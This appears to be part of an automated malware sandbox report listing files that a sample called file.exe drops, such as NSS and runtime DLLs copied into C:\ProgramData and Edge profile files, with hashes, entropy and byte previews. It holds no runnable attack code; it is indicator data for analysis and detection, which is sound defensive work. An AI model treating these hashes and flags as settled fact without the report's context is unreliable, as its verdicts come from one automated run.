SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: hD7SED8r8Q.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 5EZLEXDveC.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\57a07eec2d.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1013585001\57a07eec2d.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5a2db0c6-2011-4079-9282-d2e996c9123d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090751145389938
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+jtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEq6mtbz8hu3VlXr4CRo1
MD5:	99208A47338B1ED361C6B32D1AA92F69
SHA1:	7603BB64B777F813223108BEAA500C13D5193C4A
SHA-256:	AA3B30D14F95CEC5320C1D3B8F0E3626E441CFC44C7686CC0DED1709B33B32D5
SHA-512:	70FD9AFAED14B84679321760C90C0CBEB49FF5CCD34D8B8B72376DA760769D8F13FFCC9B549DAF0C628578171307500DF52729C2FDC43DDAAAC7C52FD99DB6CB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\97d0a5a2-ece4-498f-ab9a-9e7c3325233e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44612
Entropy (8bit):	6.096809844762161
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBlwuChDO6vP6OFgQGRP9lbObcGoup1Xl3jVzXr4CW:z/Ps+wsI7ynEJ6l5chu3VlXr4CRo1
MD5:	AFBFCD01FC7F4765B8016D66862A907B
SHA1:	8B72C1C50F78083FDADAA8C2FC3F90232E5990C4
SHA-256:	27879FBBCEDFD7822DCC34C4E60BC354B2D2A776127B2A1DEF19B0F1265F58D8
SHA-512:	1849AC293292DEF93C342444E07ACDB6C66C7D1BC8C3F998DC98E2847E0CEB666B3A68655061915B5CFABCB664C884B2B5438D66F745955D7E3AE1EAFB1FEA22
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67579E5A-167C.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.04671532289662269
Encrypted:	false
SSDEEP:	192:7WKK0pqtm8nOAWV6YGJgA8x5XSggykfhbNNETqIg/ERQcpN4BqwIwAn8y08Tcm2D:yJ0ctDMugk9hZLYj4owu08T2RGOD
MD5:	18A09F7C3F32BC94E6CC469EA01A1054
SHA1:	2241917F6EDC08BA7506E896E95CFE7D8DA1234C
SHA-256:	4994848E27FB1BAD00762916137DC7C5989695EBD54D19BDA8C73B8B6663FF38
SHA-512:	1E0CD7B88357DCB0406927CA898B8ABFD8011F7D606B9287E70EA230A7BB3917E3B31AED7CAEAFF389CD72CABFA21FD3CC6DBB641099674B25E29BF6642C8DC8
Malicious:	false
Preview:	...@..@...@.....C.].....@................g..8W..............`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".dyigvn20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2.................. .2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090751145389938
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+jtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEq6mtbz8hu3VlXr4CRo1
MD5:	99208A47338B1ED361C6B32D1AA92F69
SHA1:	7603BB64B777F813223108BEAA500C13D5193C4A
SHA-256:	AA3B30D14F95CEC5320C1D3B8F0E3626E441CFC44C7686CC0DED1709B33B32D5
SHA-512:	70FD9AFAED14B84679321760C90C0CBEB49FF5CCD34D8B8B72376DA760769D8F13FFCC9B549DAF0C628578171307500DF52729C2FDC43DDAAAC7C52FD99DB6CB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36c57.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090751145389938
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+jtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEq6mtbz8hu3VlXr4CRo1
MD5:	99208A47338B1ED361C6B32D1AA92F69
SHA1:	7603BB64B777F813223108BEAA500C13D5193C4A
SHA-256:	AA3B30D14F95CEC5320C1D3B8F0E3626E441CFC44C7686CC0DED1709B33B32D5
SHA-512:	70FD9AFAED14B84679321760C90C0CBEB49FF5CCD34D8B8B72376DA760769D8F13FFCC9B549DAF0C628578171307500DF52729C2FDC43DDAAAC7C52FD99DB6CB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF36c67.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090751145389938
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+jtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEq6mtbz8hu3VlXr4CRo1
MD5:	99208A47338B1ED361C6B32D1AA92F69
SHA1:	7603BB64B777F813223108BEAA500C13D5193C4A
SHA-256:	AA3B30D14F95CEC5320C1D3B8F0E3626E441CFC44C7686CC0DED1709B33B32D5
SHA-512:	70FD9AFAED14B84679321760C90C0CBEB49FF5CCD34D8B8B72376DA760769D8F13FFCC9B549DAF0C628578171307500DF52729C2FDC43DDAAAC7C52FD99DB6CB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF376e6.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090751145389938
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMgwuF9hDO6vP6O+jtbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEq6mtbz8hu3VlXr4CRo1
MD5:	99208A47338B1ED361C6B32D1AA92F69
SHA1:	7603BB64B777F813223108BEAA500C13D5193C4A
SHA-256:	AA3B30D14F95CEC5320C1D3B8F0E3626E441CFC44C7686CC0DED1709B33B32D5
SHA-512:	70FD9AFAED14B84679321760C90C0CBEB49FF5CCD34D8B8B72376DA760769D8F13FFCC9B549DAF0C628578171307500DF52729C2FDC43DDAAAC7C52FD99DB6CB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	85
Entropy (8bit):	4.3488360343066725
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ25AmIpozQw:YQ3Kq9X0dMgAEiLI2
MD5:	265DB1C9337422F9AF69EF2B4E1C7205
SHA1:	3E38976BB5CF035C75C9BC185F72A80E70F41C2E
SHA-256:	7CA5A3CCC077698CA62AC8157676814B3D8E93586364D0318987E37B4F8590BC
SHA-512:	3CC9B76D8D4B6EDB4C41677BE3483AC37785F3BBFEA4489F3855433EBF84EA25FC48EFEE9B74CAB268DC9CB7FB4789A81C94E75C7BF723721DE28AEF53D8B529
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":true,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\a421797a-f105-4f98-bc43-2d033d1322ae.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44635
Entropy (8bit):	6.096416479441015
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkB1wuChDO6vP6OFMbcTjm3AcGoup1Xl3jVzXr4CCAg:z/Ps+wsI7ynEZ6lZchu3VlXr4CRo1
MD5:	82902635176649AD0061A65608D832B7
SHA1:	605E619B3FF3A0EEC0DA84545742FBADF45A2129
SHA-256:	0F28A56069F06247240816E2304F5496BF52B89D91A0E997CB81D5723CE656F1
SHA-512:	36F14775655767606AF083036014928732175ACEA67E19FF3B5E0E82A7D17BB9CBDBE56B3CE5E31CAED9B8B66E10CDAB887C7F8D08E9DE87BA56EC15ED5288B2
Malicious:	false
